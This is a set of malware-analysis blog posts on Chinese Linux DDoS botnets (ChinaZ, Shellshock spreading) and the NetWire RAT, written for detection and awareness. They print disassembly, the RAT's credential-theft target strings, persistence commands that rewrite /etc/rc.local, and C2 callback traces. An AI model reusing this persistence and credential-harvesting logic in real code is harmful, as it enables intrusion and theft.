The background

There are so many ELF malware infection with the multiple type of backdoors and DDoS'ers originated from China. Our report in here -->[link] shows the known 6 (six) types of those DDoS'ers, From the Linux/Elknot, which is the oldest one, the popular ones, following by the Linux/BillGates which having the encrypted dropped backdoor with packet capture and rootkit functions, then the Linux/AES.DDoS that is aiming for the router & embedded architecture (ARM, MIPS, PPC), and we have Linux/IptabLes|x that is messing with the system's autorun by copying itself to the /boot, we have also the Linux/XOR.DDoS which suggesting the coder likes the CTF-like challange. And the last one is the new invented malware using Go language which is designed to infect ARM device: Linux/GoARM.Bot.

During the raising detection effort of these malware, MalwareMustdie found the two types of these malware which are Linux/GoARM.Bot&Linux/XOR.DDoS, thus we are also the one who invented name for Linux/AES.DDoS.

Except the .IptabLes|x, all of those ELF DDoS'er malware was distributing in web panel, a very handy good software called HTTP File Server, known as HFS. And those ELF backdoor/DDoS'er malware were downloaded to a successfully compromised SSH account of the Linux/FreeBSD and being installed as backdoor to perform DDoS operations. You can see the snapshot and videos of those panels in the link described above.

How bad the situation is?

So far we secured 85 web panels loaded by these ELF malwares and its builder and botnet CNC tools, which were served mainly in China network and under 91 IP addresses in total incidents recorded and those panels only using 76 IP addresses in unique counts. All of them are having similar materials, one linked to another panels in usage and tools, so we strongly think at least a coordinated team or group must be operated behind the scene to support this operation.

The suspicion is getting stronger after several evidence was found that was lead to the same modus operation (hint: Remote Desktop Protocol, HFS server, SSH bruters, IP Scanner tools, Botnet CNC tools), same target IP list and the exact same custom scripts which is distributed between the panels. Furthermore, the growth of these panels is very rapid. We can expect 15 new panels in average will be raised in a week. All loaded with the malicious related tools.

In the last operation we managed to neutralize 29 of these evil panels in overall, and now we are facing 35+ panels up and alive already. These are the pace of speed that this threat is actually performing and it's a steady grow. By this pace we can expect more than 100 panels will be taken down in the end of year, but only God will know how much new panels these crooks will make by then.

The answer: The video that is explaining the modus operation of the threat

But how they really operate? How can they manage to make that rapid speed? What is that same modus operation used? It was a mistery before, but now we just found exactly the answer for this question.
During our "research event", we had a chance to record the activity of the player while he was making a remote tutorial, and as a result the video of the tutorial of China actor's activity can be presented to security community, in this post.

Please see well of how they implement the strategy to make builder of an ELF malware (in this case was Elknot used as sample, practically they have many combination of those builders), to use the HFS server, to systematically scan for network for linux server, how they exploit the servers and infect them in an automation. You can see the many combination tools they are using too. This is a real evidence, caught in the act "manual" made by the crooks themself, they don't know that we actually grabbed this, and I hope this will make them bumping their heads to each others in their China crook's land.

Why the threat is fast growing, and large in volume? The actors behind this threat are actually and literally making tutorials, developing easy-to-use tools, transferring the knowledge via (remote) training. You will see in the video picture gallery presented in this post the tools that they made, the list of well-managed ip addresses produced by that tools & shared in the HFS panels, and most of all: the rapid improvement & development of those tools, malware and exploits they use. This facts, friends, raise a huge dilemma: Will individual crooks doing the stuff to be shared as "group basis" like this threat shows? Where the budget for all of these non-cheap-stuff activity was coming from? Why in the 85 panels that was in scattered in internet at various location has the exact same M.O, CNC/hack tools and scripts? (even they tried to camouflage these tools into various icons..it is just too obvious).
One doesn't have to be a super hacker to conclude that is a ONE unison movement pumping this threat. Some of the evidence are accidentally supporting to this deduction, showing the division/unit information (see the following video and gallery).

Below is the video that can answer much of the above questions, it was a pretty hard effort to compile it and we're not the professional video maker, please kindly bear some glitches.
(This is the hard work of the MalwareMustDie ELF Team, on behalf of the members, I must say: please do not use this material, information, clue or hint related to this case without mention to people who work very hard for this awareness. A mention to MalwareMustDie will be very appreciated)

Gallery of the malware builders and attacker tools used

Below is the important collection of picture snapshot our team took, this picture will explain you more than words of the above conclusion we wrote. Each snapshot was taken from the material secured from HFS panels used to distribute the ELF (and windows too) China malware botnet. Please kindly credit to our members who can not be disclosed their ID by mentioning MalwareMustDie.

Addition: China ELF actors start to use ShellShock

Starting from November 7th 2014 they started to aim for Shellshock vulnerability as new technique to infect:

The malware downloaded are the ELF DDoS'er originated from the panels that we mentioned in this post. And in those panel was captured the script used for this infection, with the signature in Chinese: "Nameless Division For Scanning Internet"

Credit: MMD ELF Team: BK (w00t!),WH,WP,SH,YN,(great work!), LVD,AB,AD,RJX,CP (Thank's for always be there!)and many more can not be listed here < Thanks for the great work & superb coordination always.

#MalwareMustDie!

The background

The bash Shellshock vulnerability (link) is still proven to be one of the fastest way to spread ELF malware infection to NIX boxes in internet, along with Linux systems which are still having the vulnerable version. This fact that is not knowing only by internet security folks, but by the threat actors themself. Since firstly reported in this blog (link), bash shellshock vulnerabilty exploitation is utilized for more sophisticated ELF malware infection scheme, like Linux/Mayhem malware shellshock distribution (link) or Linux/Xor.DDoS infection scheme (link), and some more in our tweet posts. Now some ELF malware actors in PRC/People Respublic of China are starting to build and use a set of tools to make more ELF infection "merrier" via shellshock exploitation, and they called it as "ChinaZ".

The threat was detected (ITW) on January 13th, 2015, was developed somewhere around November, 2014. And this post is describing how it works with describing threat's details for detection and mitigation.

The infection source

A bash shellshock attack was detected with the following one-liner bash command coming via HTTP request to the victim's Linux box with the below data:

Revealing the existence of their used infection source:

Please noted date and the ChinaZ signature used.

The attacker's IP address is shown matched to the web panel IP itself, with the date that is showing the threat attack activity is in the progress. The file 9521 shown in the web panel is an ELF malware, and the file ck.exe is the accompanied tool, a Windows PE application. If you compare details on the time-stamps and the download hit number carefully you will see that the attacker was gaining much download for this payload, which is telling us that the bash commands sent via HTTP request were actually executed by some affected targets.

The IP address is originated from People Republic of China (shorten as PRC) network with the below data:

IP: 121.12.173.173
ASN: 58543
Network: 121.12.168.0/21
ISP: CHINATELECOM-HUNAN-H | SHENZHENSHILUOHUQUHEPINGLUYIFENGGUANGCHANGCZUO32H

How does it work?

In short: The ch.exe (Win32/ChinaZ.Shellshock) which is running on a compromised (or not) Windows host(s), will spread the hard coded (in its binary) a bash shellshock attack script via HTTP requests to the designated Linux box targets (in IP addresses) which was scanned beforehand, using a defined ELF payload (Linux/ChinaZ.DDoS malware) download URL from the same or other compromised (or not) Windows host(s). The infected Linux system will send callback to a remote Windows CNC application then will run as backdoor and DDoS agent to be remotely controlled by the actors. This traces of the binaries, environment and the threat origin proven us that the threat was built and originated from actor(s) in People Republic of China (PRC).

The attacker tool: ck.exe (Win32/ChinaZ.shellsock)

The file ck.exe is responsible for the Shellshock vulnerability scanning qnd attacking process. The binary static analysis using our favorite tool PEStudio (link)is showing many malicious indicators as per shown below, please see it yourself and I am sure you know how suspicious those signs are too:

Since it's a "fresh" threat, VirusTotal is showing a low detection ratio-->[VirusTotal].

Even we detected this in January 13th, 2015, we suspected the threat was in-the-wild way before that (November 2014), the Windows PE binary build information is showing these facts, again PEStudio (link) is very useful to instantly confirming such information:

Additionally you can see the pdb filename showing the "ShellShock" strings which is a a clear hint for all of us that the actors are building this tool for this specific threat accordingly (I mean don't buy it if there anyone will say to you this is a penetration test tool).

The binary is guarded with some anti-debug functions. The correlation of the attack log that came to the victim's infrastructure to this tool can be shown in the ck.exe binary at the below offset snapshot, noted: I use my favorite tool radare2 (link) to reverse this malware to make sure it has no backdoor nor etc malware that can harm me or our team mates beforehand, showing the intention of the actors who doesn't want this tool to be cracked its purpose easily..

How does this shellshock attacker tool operate?
To our advantage and surprise, --help text is available as per snipped below, making me easier to explain this threat to all of you :-)

↑This is showing the command line usage of ck.exe to launch the shellshock attack with using the target list in a text file, number of thread attack to be used, and the payload to be used to attack the listed hosts. These actors built this PE binary to literally attacking us through a simple and easy windows CUI (command user interface)of shellshock HTTP request.
Please noted that "ChinaZ" signature.

The ELF Payload: 9521 (Linux/ChinaZ.DDoS)

The payload is a stripped ELF 32-bit LSB executable file for Intel 80386, which is statically linked, for GNU/Linux kernel 2.6.26. We uploaded the file into VirusTotal here--> [VirusTotal] and currently is having 8/55 detection ratio, which is good for a new threat (thanks to AV industry for the nice follow).

This ELF is "literally" stripped, and you need to trail spaghetti code to jump within offsets during reversing this one through functions and subs with sometimes through jump cushions to follow with, but it is still a readable one. To understand how it works was taking less time than figuring which variant this malware actually is. The obfuscation in (function/subs) names is making harder to identify, but in the end the new characteristics spotted in codes was showing this sample as a new ELF malware variant, and matched string signature is showing us that this ELF was built specifically for this infection purpose, as per below snapshots:

The ELF infection of a compromised host is started by checking the /etc/rc.local and this malware is modifying it for the startup purpose by the below command (a note from from reversing effort):

0x0804B5CC mov     dword ptr [esp], offset aEtcRc_local ; "/etc/rc.local"
0x0804B5D3 call    sub_804B550 ; //checks the file..(fstat etc..)
0x0804B5D8 mov     [esp], ebx
0x0804B685 mov     dword ptr [esp+4], offset aSedIESDEtcRc_l ; "sed -i -e '/%s/d' /etc/rc.local"
                   ; decoded strings ==>  sed -i -e '/exit/d' /etc/rc.local
    (...)
0x0804B6A5 mov     dword ptr [esp+4], offset aSedIE2ISSEtcRc ; "sed -i -e '2 i%s/%s' /etc/rc.local"
                   ; decoded strings ==> sed -i -e '2 i//ChinaZ' /etc/rc.local
    (...)
0x0804B6BE mov     dword ptr [esp], offset aEtcRc_local ; "/etc/rc.local"

This ELF malware is utilizing libresolv and libnss libraries for internet resolve scheme, and the nature of compilation will need the ld and libc as runtime modules (well..obviously..). So in an infected machine you will see the running trace like below, a set of commands like ss, lsof, netstat, sockstat (FreeBSD), tshark and tcpdump will be your best friend to check for infection (for the rooted hosts I always bring my own binaries of these tools..)

COMMAND  PID   TID   USER  FD    TYPE DEVICE SIZE/OFF NODE NAME
MALWARE  32063       USER  cwd   DIR8,1     4096  2 /
MALWARE  32063       USER  rtd   DIR8,1     4096  2 /
MALWARE  32063       USER  txt   REG8,6   618948     1048584 /home/USER/test/MALWARE
MALWARE  32063       USER  mem   REG8,1    71488      260636 /lib/i386-linux-gnu/libresolv-2.13.so
MALWARE  32063       USER  mem   REG8,1    22088      260630 /lib/i386-linux-gnu/libnss_dns-2.13.so
MALWARE  32063       USER  mem   REG8,1   117960      260619 /lib/i386-linux-gnu/ld-2.13.so
MALWARE  32063       USER  mem   REG8,1  1364104      260622 /lib/i386-linux-gnu/libc-2.13.so
MALWARE  32063       USER  mem   REG8,1    42628      260631 /lib/i386-linux-gnu/libnss_files-2.13.so
MALWARE  32063       USER    0u   CHR1,3      0t0      1192 /dev/null
MALWARE  32063       USER    1u   CHR1,3      0t0      1192 /dev/null
MALWARE  32063       USER    2u   CHR1,3      0t0      1192 /dev/null
MALWARE  32063       USER    3u  IPv4   67174236      0t0TCP INFECTED.HOST:36555->121.12.173.173:9521 (ESTABLISHED)
MALWARE  32063 32072 USER  cwd   DIR8,1     4096  2 /
MALWARE  32063 32072 USER  rtd   DIR8,1     4096  2 /
MALWARE  32063 32072 USER  txt   REG8,6   618948    1048584 /home/USER/test/MALWARE
MALWARE  32063 32072 USER  mem   REG8,1    71488      260636 /lib/i386-linux-gnu/libresolv-2.13.so
MALWARE  32063 32072 USER  mem   REG8,1    22088      260630 /lib/i386-linux-gnu/libnss_dns-2.13.so
MALWARE  32063 32072 USER  mem   REG8,1   117960      260619 /lib/i386-linux-gnu/ld-2.13.so
MALWARE  32063 32072 USER  mem   REG8,1  1364104      260622 /lib/i386-linux-gnu/libc-2.13.so
MALWARE  32063 32072 USER  mem   REG8,1    42628      260631 /lib/i386-linux-gnu/libnss_files-2.13.so
(...)

The backdoor sent looks as per below, in this particular case it sends the callback to a hostname aa.gm352.com (121.12.173.173 port 9521) at ASN 58543 | 121.12.168.0/21 | CHINATELECOM-HUNAN-H, PoC:

SYSCALL5A, send(3, "cM\1\0\0\1\0\0\0\0\0\0\2aa\5gm352\3com\0\0\1\0\1", 30, MSG_NOSIGNAL)
SYSCALL5B, recvfrom(3, "cM\201\200\0\1\0\1\0\5\0\5\2aa\5gm352\3com\0\0\1\0\1\300\f"..., 1024, 0, 
           $PARAMS:{sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("x.x.x.x")}, [16]) 
SYSCALL5C, connect(3, {sa_family=AF_INET, sin_port=htons(9521), sin_addr=inet_addr("121.12.173.173")}, 16)
SYSCALL5D, write(3, "\0\0\0\0LinuxX.X.X-X-686\0\275w\267\0\1\0\0"..., 168) = 168

// traffic:
Offset    Hex                                              ASCII (redacted)
00000000  00 00 00 00 4c 69 6e 75  78 33 2e 32 2e 30 2d 34 ....Linu xX.X.X-X
00000010  2d 36 38 36 2d 70 61 65  00 1d 7a b7 00 01 00 00 -686.... ..z.....
00000020  48 31 d6 09 48 31 d6 09  00 00 00 00 64 1c 7a b7 H1..H1.. ....d.z.
00000030  00 00 00 00 a0 2e d6 09  90 71 e4 b6 da a4 d0 b6 ........ .q......
00000040  ff ff ff ff 31 20 2a 20  32 35 33 31 4d 48 7a 00 ....1 *  2531MHz.
00000050  40 1c 7a b7 40 8c 0a 08  58 30 d6 09 d0 32 d6 09 @.z.@... X0...2..
00000060  01 00 00 00 31 30 30 32  20 4d 42 00 80 80 e4 b6 ....1002  MB.....
00000070  98 23 d6 09 ff ff ff ff  38 98 d0 b6 da a4 d0 b6 .#...... 8.......
00000080  05 00 00 00 56 49 50 00  40 8c 0a 08 58 30 d6 09 ....VIP. @...X0..
00000090  00 33 d6 09 01 00 00 00  05 00 00 00 00 00 00 00 .3...... ........
000000A0  88 a1 d0 b6 6e 20 01 00                          ....n .. 

Threat Source

By the time the threat was detected & announced (yesterday) the CNC was up and alive, PoC:

aa.gm352.com.           300     IN      A       121.12.173.173
gm352.com.              3600    IN      NS      ns4.he.net.
gm352.com.              3600    IN      NS      ns3.he.net.
gm352.com.              3600    IN      NS      ns2.he.net.
gm352.com.              3600    IN      NS      ns1.he.net.
gm352.com.              3600    IN      NS      ns5.he.net.

$ mycnccheck 121.12.173.173:9521
Connection to 121.12.173.173 9521 port [tcp/*] succeeded!
IPv4   TCP MMD.KickUR.ASS:36555->121.12.173.173:9521 (ESTABLISHED)

The traffic capture PCAP data generated by the infection session is also showing a slight differences to the other similar known ELF backdoor/DDoS malware types, as per shown below:

↑this is clearly showing us that we have a new family for the PROC/China ELF malware.
Noted: the usage of Keep-Alive beacon.

The conclusion

1. We highly suspect that the domain gm352.com is in the possession of the threat's actor for launching this attack.
2. The shellshock vulnerable hosts are still plenty out there, and they are still being abused by malware threat. This infection speed is the PoC that those hosts are serious volume to face for the future threat risk. We must keep on actively reducing their being up and alive in internet.
3. Do not let any of your box services runs or accessed by root privilege, use selinux, runs hardened ssh, and please regularly keep on checking on unusual process/traffic.

The ChinaZ set of samples is shared to the malware research community in-->kernelmode, along with uploading them to Virus Total for improvement in detection ratio.
This detection is a team work of MalwareMustDie on ELF malware threat, many thank's to members who work very hard to detect, taking down and helping on publicity of this threat's awareness.
Feel free to write comments to discuss this matter (don't abuse please), please kindly send us more ELF samples if you find one by clicking this blog's right menu "Dropbox: Send your sample"

#MalwareMustDie!

The background

It has been a talk internally in our group about a RAT (Remote Access Trojans) that is commonly found and used by crooks called "NetWire RAT". The talks is about why this RAT was commonly found during the carding, POS or etc hack cases related to the cyber criminal activities, and is this RAT multi platform supported, etc..

Shortly, I think it will be good if I post it here a thorough reference for my friend and also the fellow researchers + industries to understand about the threat (if not known this yet) and to raise the awareness to the internet users of the existence of this malware (RAT family). This is a generally writing post, and I will add with some details later along with the more thorough check & investigation. Comments are welcome to add your vision to this threat, enjoy!

The samples

Samples can be randomly search in Virus Total with the below hashes:

07470d9b10cefa3a7dcb3a156f067203 
9769cf1ab9fc54d1d7da644d94644273 
1c1c848bbefe6d8353010619d50ef81f 
1931bcb54655ca2018fec60bf84776f7 
674d9a19d4e0c72c47738d7ae59c351c 
45db57d2c15bf1f9dde1cbe8202323f3 
64cf99ed2d02bb22eaad9e9699631424 
628cf758e08575c475787e9caa2702eb 
1e65e53427319e10ef3ee114caa2c638 

The origin

Below is the origin of this threat, it was starting from 2012, with the complete explanation from its malware author. I made a loong picture for it, so please be patient with the download. Here we go:

Installation and howto

A howto for this RAT explained by the author is as per below pictures. Please click them one by one sequentially.

Specific characteristic

Some characteristic in reversing point of view will be explained in this section as a quicky. Feel free to examine deeper. I used the sample with hash 1931bcb54655ca2018fec60bf84776f7 which I thought was the latest that I can find and it is obviously the trial version of this RAT as per seen in uploaded data below:

md5: 1931bcb54655ca2018fec60bf84776f7 
directory: userprofile%\desktop\netwire-trial\
filename: doit.exe

Binary analysis in PEStudio

I'm a big fan and ssupporter to Marc's PEStudio, it detected this RAT pretty good, below is the original indicators spotted for helping you in analyzing this RAT:

Reversing & strings

Back connect

Back connect functionality can be seen in the function below using the HTTP/1.0:

; start addr 0x40391C
; callback functions in HTTP/1.0

push    ebp
mov     ebp, esp
push    edi
push    esi
push    ebx
sub     esp, 22Ch
mov     esi, [ebp+arg_0]
mov     eax, [ebp+arg_8]
mov     [esp+238h+var_228], eax
mov     eax, [ebp+arg_4]
mov     [esp+238h+var_22C], eax
mov     [esp+238h+var_230], offset aConnectSDHttp1 ; "CONNECT %s:%d HTTP/1.0\n\n"
mov     [esp+238h+var_234], 200h
lea     ebx, [ebp+var_218]
mov     [esp+238h+var_238], ebx
call    0x4094C7
mov     edi, eax
mov     [esp+238h+var_22C], 0
mov     [esp+238h+var_230], eax
mov     [esp+238h+var_234], ebx
mov     [esp+238h+var_238], esi
call    send
sub     esp, 10h

Download function

It uses HTTP/1.1 for the download functions..

; in proc addr 0x4050F3 
; download functions in HTTP/1.1

mov     eax, [ebp+arg_0]
lea     edx, [eax+204h]
mov     [esp+868h+var_858], edx
mov     [esp+868h+var_85C], eax
mov     [esp+868h+var_860], offset aGetSHttp1_1Hos ; "GET %s HTTP/1.1\r\nHost: %s \r\nConnection:"...
mov     [esp+868h+var_864], 800h
lea     ebx, [ebp+var_818]
mov     [esp+868h+var_868], ebx
call    0x4094C7
xor     eax, eax
or      ecx, 0xFFFFFFFFh
mov     edi, ebx
repne scasb
not     ecx
dec     ecx
mov     [esp+868h+var_85C], 0
mov     [esp+868h+var_860], ecx
mov     [esp+868h+var_864], ebx
mov     eax, [ebp+var_82C]
mov     [esp+868h+var_868], eax
call    send
sub     esp, 10h
mov     [esp+868h+var_864], offset aWb_0 ; "wb"
mov     eax, [ebp+arg_0]
add     eax, 408h
mov     [esp+868h+var_868], eax
call    fopen
mov     edi, eax
test    eax, eax

Shell

Attempt to gain access to the Windows OS shell (cmd.exe) is spotted after some check to the environment was done, as per below:

; shell was gained in here (cmd.exe)
; after checking environment
; function in addr 0x4056A0

push    ebp
mov     ebp, esp
push    edi
push    esi
push    ebx
sub     esp, 2CCh
mov     [esp+2D8h+var_2D8], offset aComspec ; "ComSpec"
call    getenv
mov     [esp+2D8h+var_2CC], eax
mov     [esp+2D8h+var_2D0], offset aS_0 ; "%s"
mov     [esp+2D8h+var_2D4], 204h
lea     ebx, [ebp+var_21C]
mov     [esp+2D8h+var_2D8], ebx
call    0x4094C7
mov     [esp+2D8h+var_2D8], ebx
call    0x4047A1
test    al, al
jnz     short 0x40570E
 :
; in addr 0x40570E
mov     [esp+2D8h+var_2D8], offset aWindir ; "WINDIR"
call    getenv
mov     [esp+2D8h+var_2CC], eax
mov     [esp+2D8h+var_2D0], offset aSSystem32Cmd_e ; "%s\\system32\\cmd.exe"
mov     [esp+2D8h+var_2D4], 204h
mov     [esp+2D8h+var_2D8], ebx

Credential Grabber

The below string list will be enough to describe what is being aimed by this RAT:

.data:0x40FA03 SOFTWARE\\Mozilla\\%s\\ 
.data:0x40FA18 CurrentVersion 
.data:0x40FA27 SOFTWARE\\Mozilla\\%s\\%s\\Main
.data:0x40FA43 Install Directory
.data:0x40FA55 %s\\%s 
.data:0x40FA5B mozutils.dll 
.data:0x40FA68 mozglue.dll
.data:0x40FA74 mozsqlite3.dll 
.data:0x40FA83 Mozilla Firefox
.data:0x40FA93 APPDATA
.data:0x40FA9C %s\\Mozilla\\Firefox\\profiles.ini 
.data:0x40FABC %s\\Mozilla\\Firefox\\%s 
.data:0x40FAD2 Mozilla Thunderbird
.data:0x40FAE6 %s\\Thunderbird\\profiles.ini
.data:0x40FB02 %s\\Thunderbird\\%s
.data:0x40FB14 SeaMonkey
.data:0x40FB20 %s\\Mozilla\\SeaMonkey\\profiles.ini 
.data:0x40FB42 %s\\Mozilla\\SeaMonkey\\%s 
.data:0x40FB5A %s\\signons.sqlite 
.data:0x40FB6C NSS_Init 
.data:0x40FB75 PK11_GetInternalKeySlot
.data:0x40FB8D PK11_Authenticate
.data:0x40FB9F NSSBase64_DecodeBuffer 
.data:0x40FBB6 PK11SDR_Decrypt
.data:0x40FBC6 PK11_FreeSlot
.data:0x40FBD4 NSS_Shutdown 
.data:0x40FBE1 sqlite3_open 
.data:0x40FBEE sqlite3_close
.data:0x40FBFC sqlite3_prepare_v2 
.data:0x40FC0F sqlite3_step 
.data:0x40FC1C sqlite3_column_text
.data:0x40FC30 select *from moz_logins
.data:0x40FC4A %c%s\a%s\a%s\b\b\b\b 
.data:0x40FC59 %s\\Opera\\Opera\\wand.dat 
.data:0x40FC74 %s\\Opera\\Opera\\profile\\wand.dat
.data:0x40FC94 rb 
.data:0x40FC97 \b\b\b\b 
.data:0x40FC9C %s\\.purple\\accounts.xml
.data:0x40FCB4 
.data:0x40FCBF %d%s\a 
.data:0x40FCC5 
.data:0x40FCCC 
.data:0x40FCD7 %s\a 
.data:0x40FCDB advapi32.dll 
.data:0x40FCE8 CredEnumerateA 
.data:0x40FCF7 CredFree 
.data:0x40FD00 WindowsLive:name=* 
.data:0x40FD16 %d%s\a%ws\a
.data:0x40FD20 Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676
.data:0x40FD9B Email
.data:0x40FDA1 POP3 User
.data:0x40FDAB POP3 Server
.data:0x40FDB7 POP3 Password
.data:0x40FDC5 IMAP User
.data:0x40FDCF IMAP Server
.data:0x40FDDB IMAP Password
.data:0x40FDE9 HTTP User
.data:0x40FDF3 HTTP Server
.data:0x40FDFF HTTP Password
.data:0x40FE0D SMTP User
.data:0x40FE17 SMTP Server
.data:0x40FE23 SMTP Password
.data:0x40FE94 Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2 
.data:0x40FEDE index.dat
.data:0x40FEE8 History
.data:0x40FEF0 Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders
.data:0x40FF34 %s\\Google\\Chrome\\User Data\\Default\\Login Data 
.data:0x40FF64 %s\\Chromium\\User Data\\Default\\Login Data 
.data:0x40FFAC localhost
.data:0x40FFB6 USERNAME 
.data:0x40FFBF Unknown
.data:0x40FFC7 kernel32.dll 
.data:0x40FFD4 GetNativeSystemInfo
.data:0x40FFE8 SYSTEM\\CurrentControlSet\\Control\\ProductOptions 
.data:0x410018 ProductType
.data:0x410024 WINNT
.data:0x41002A LANMANNT 
.data:0x410033 SERVERNT 
.data:0x41003C %d 
.data:0x41003F GlobalMemoryStatusEx 
.data:0x410054 WINDIR 
.data:0x41005B PATH 
.data:0x410060 %s\a%s\a%s\a%I64u\a%I64u\a%I64u\a%s\a%s\a%s\a%s\a%d\a%s\a%d\a%s\a%d\a%s\a%d\a

Keystroke Mapping from remote operation

This one is also self-explanatory:

.data:0x41020C [Backspace]
.data:0x410218 [Enter]
.data:0x410220 [Tab]
.data:0x410226 [Arrow Left] 
.data:0x410233 [Arrow Up] 
.data:0x41023E [Arrow Right]
.data:0x41024C [Arrow Down] 
.data:0x410259 [Home] 
.data:0x410260 [Page Up]
.data:0x41026A [Page Down]
.data:0x410276 [End]
.data:0x41027C [Break]
.data:0x410284 [Delete] 
.data:0x41028D [Insert] 
.data:0x410296 [Print Screen] 
.data:0x4102A5 [Scroll Lock]
.data:0x4102B3 [Caps Lock]
.data:0x4102BF [Alt]
.data:0x4102C5 [Esc]
.data:0x4102CB [Ctrl+%c] 

Autostart

I almost forget this one..

.data:0x4100A5 SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\
.data:0x4100D4 SOFTWARE\\Microsoft\\Active Setup\\Installed Components
.data:0x41010F SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\%s
.data:0x41014C StubPath 

{ND34H04A-G0C3-3VIE-0550-N18U87UEDA40}

Many other function too, please feel free to check it yourself, for practise :)

Signature and Prologue

For getting a bit of idea in mitigation and detecting this sample, I modified a sample filtration signature that can be accessed in -->[here] on a Yara rule format. It is NOT an official Yara rules, and I posted here for an example and research purpose, some trimmed codes was done for the adjustment, and I may modify this for the better detection purpose too.

PS: It's good to be back :-)

Kudos researcher friends w/feedback, thank you!

@MalwareMustDie Thanks for sharing. Have you check the commands? to see if they match previous version analyzed? https://t.co/QhNHOxD7E9

— Alexandre Dulaunoy (@adulau) April 6, 2015

@MalwareMustDie the "New Profile" menu in NetWire Workstation lets you select "GNU/Linux". @rmsthebot would be proud!

— Dan Helton (@ch1kpee) April 6, 2015

@MalwareMustDie Very good finding! "Keystroke Mapping" detection will be added to the next #pestudiopic.twitter.com/u14fu59pwd

— Marc Ochsenmeier (@ochsenmeier) April 6, 2015

#MalwareMustDie!

The background and recent info of ELF ChinaZ

The report and analysis of a new variant of Linux/ChinaZ ELF malware spotted in the wild

This post is written in a relax time, so please enjoy reading it in your weekend.

MalwareMustDie (MMD) group found new ELF malware called ChinaZ reported in the previous post in→January 2015 while it was riding the Shellshock for infecting Linux boxes in the internet. And the new version of ChinaZ was accidentally spotted while our team was gathered to scan internet for more ELF bad stuff, and we were all in sleepy mode after our day work in weekend...picture↓ :)

As also described in the previous post,ChinaZ is a new type of its kind that raises from the mainland China DDoSer land. Adapting some of techniques & codes used by previous China ELF malware, and coded with the C (without plusplus) using an "original" interaction method to linux system during its infection, is showing the coder knows Linux very well and he has potential to make better stealth ELF malware with his knowledge. Needless to say MMD is in the kind of "CTF mode" of cracking what he built every time he released new version.. we hope for authority to catch this man as soon as possible.

As a new malware, the ChinaZ malware is rapidly coded into some variants and the popularity is aggressively raising fast, it is adjusted to some vulnerability trend to support its infection efforts to linux boxes. It urged also an open development of its code too, a suspected related development branch of ChinaZ development source code even spotted in the GitHub and it looks actively coded until mid of March 2015, as per shown in the below link/picture. Yes, we have some samples that are perfectly matched to the codes released in this Github, and yes, this matter also has been reported to the law enforcement accordingly to be escalated to the PRC (read: people republic of China).

The "ChinaZ As Service" for DDoS'ing some targeted sites in the internet is also spotted in the wild, which is currently up and alive too. Below is the screenshot of its nice web UI used... This matter is in the investigation of the authority so.. sorry, we can not reveal more information than this, but please be aware of this information too:

Considering of the seriousness of the coder and his efforts to push the threat and its campaign further into the market, MalwareMustDie(MMD) the ELF team folks are studying and following the threat well by reversing the every samples spotted online.

How do we know this spotted one a ChinaZ?

Deep in the Hangzhou city in region Zhejiang in China mainland six hours++ ago,

..there is a malware bad actor who has a dream to conquer the world by spreading a new variant of ELF malware on an infecting HFS web panel:

So his plan is to infect as many linux boxes that he can compromise, by fetching this ChinaZ binary at its panel via wget or fetch or similar methods/commands.Yes, this is the "comeback" of the previous crook with the same dream by using shellshock to infect 0.0.0.0, but it looks like he went to the classic ELF infection way now, drive-by download.

Too bad his dream was ruined now...

Knowing the series of this malware very well, I just spotted the right function to ID it:

The headers look usual too, a static and stripped ELF:

The author is trying hard to strip every strings related of ChinaZ that we posted in previous posts ("s" is for assuming that he reads also the kernelmode reports we posted too), but he forgot the fact that we are good reversers and reversed so many samples of previous ChinaZ already, so the basic characteristic of the code used are known very well..i.e.: symbols and functions in .cc malware source code files used to built ChinaZ are still "seen" here and there too (some hint: codecvt_members.cc , collate_members.cc , ctype_configure_char.cc , messages_members.cc , monetary_members.cc , numeric_members.cc . time_members.cc and so on..), and yet he is making the work easier too by still being possessed to use the same ridiculous botnet commands like:

..and the classic reason is...the coder just can not get rid of his fanatic brand of "chinaz" itself :-)

(later on, during the execution that name is used too in ↑dropped file).

How does it work?

The way this variant works is simple, let me try to explain it in one paragraph:

It is self-copied to the /tmp directory and that dropped one is being executed by the sample (which will be self-deleted afterward), and running installation scripts for (1)service registration, (2)file installation to other dirs, and (3)cron schedule setup, to then trying to connect to the remote host after flushing and modifying your iptables. It deletes your /etc/resolv.conf and save some initial setup and downloading configuration data (Config.ini), but not installing any rootkits. Connection to the CNC is by sending your uname info, and of course the IP address. To then communicate as bot under CNC connection established. The command sent from CNC are mainly designed for DDoS commands with parameter of a target IP address.

To be more details, the execution command list can be seen in here-->[LINK]<--along with its networking process including the CNC calls for domain, IP and ports. After these installation steps executed the infected host will be rebooted, and ready for action as a remotely controlled DDoS bot.

Below are screenshots on how it works as proof:

The ChinaZ daemon script, to be copied in the /etc/init.d/%s/ and /etc/rc%d.d/S90%s, in our case the $s value is a fake process/binary called "ConfigDatecz":

The autostart by injecting a one-liner startup command to the crontab (scheduler) to execute ChinaZ startup script on hourly schedule:

The malware's script to control the network interface, by utilizing ifconfig and the usage of udev self explanatory:

The reboot command after all malware setting has done, is like this sequence:

Yes, by the way he starts to curse a lot now.. I bet he is under a lot of stress recently... :)

Below is one of typical command of ChinaZ malware does, so this another proof that it is not Linux/Elknot, not Linux/XorDDoS but Linux/ChinaZ, a known one:

The self-copied file naming proof:

The DDoS sent via HTTP's GET command (template) to be sent to the target, noted that QQ (China version of ICQ) accountdetails, is a suspected this malware coder's signature:

The hard evidence of DNS request for the CNC domain of www.vttx.cn can be seen in here, if you in doubt with the syscall codes in the paste:

..showing the CNC IP address121.42.159.37:

The GeoIP of CNC is in here, well it says "Hangzhou" the same area where the HFS payload is:

"ip": "121.42.159.37",
"hostname": "No Hostname",
"city": "Hangzhou",
"region": "Zhejiang",
"country": "CN",
"loc": "30.2936,120.1614",
"org": "AS37963 Hangzhou Alibaba Advertising Co.,Ltd."

Domain registration shows the registrant (maybe fake) name and email address, this domain was just registered this month:

Domain Name: "avttx.cn"
ROID: 20150606s10001s76116835-cn
Domain Status: ok
Registrant ID: hc-199918169-cn
Registrant: "时红林 (Shi Hong Lin)"
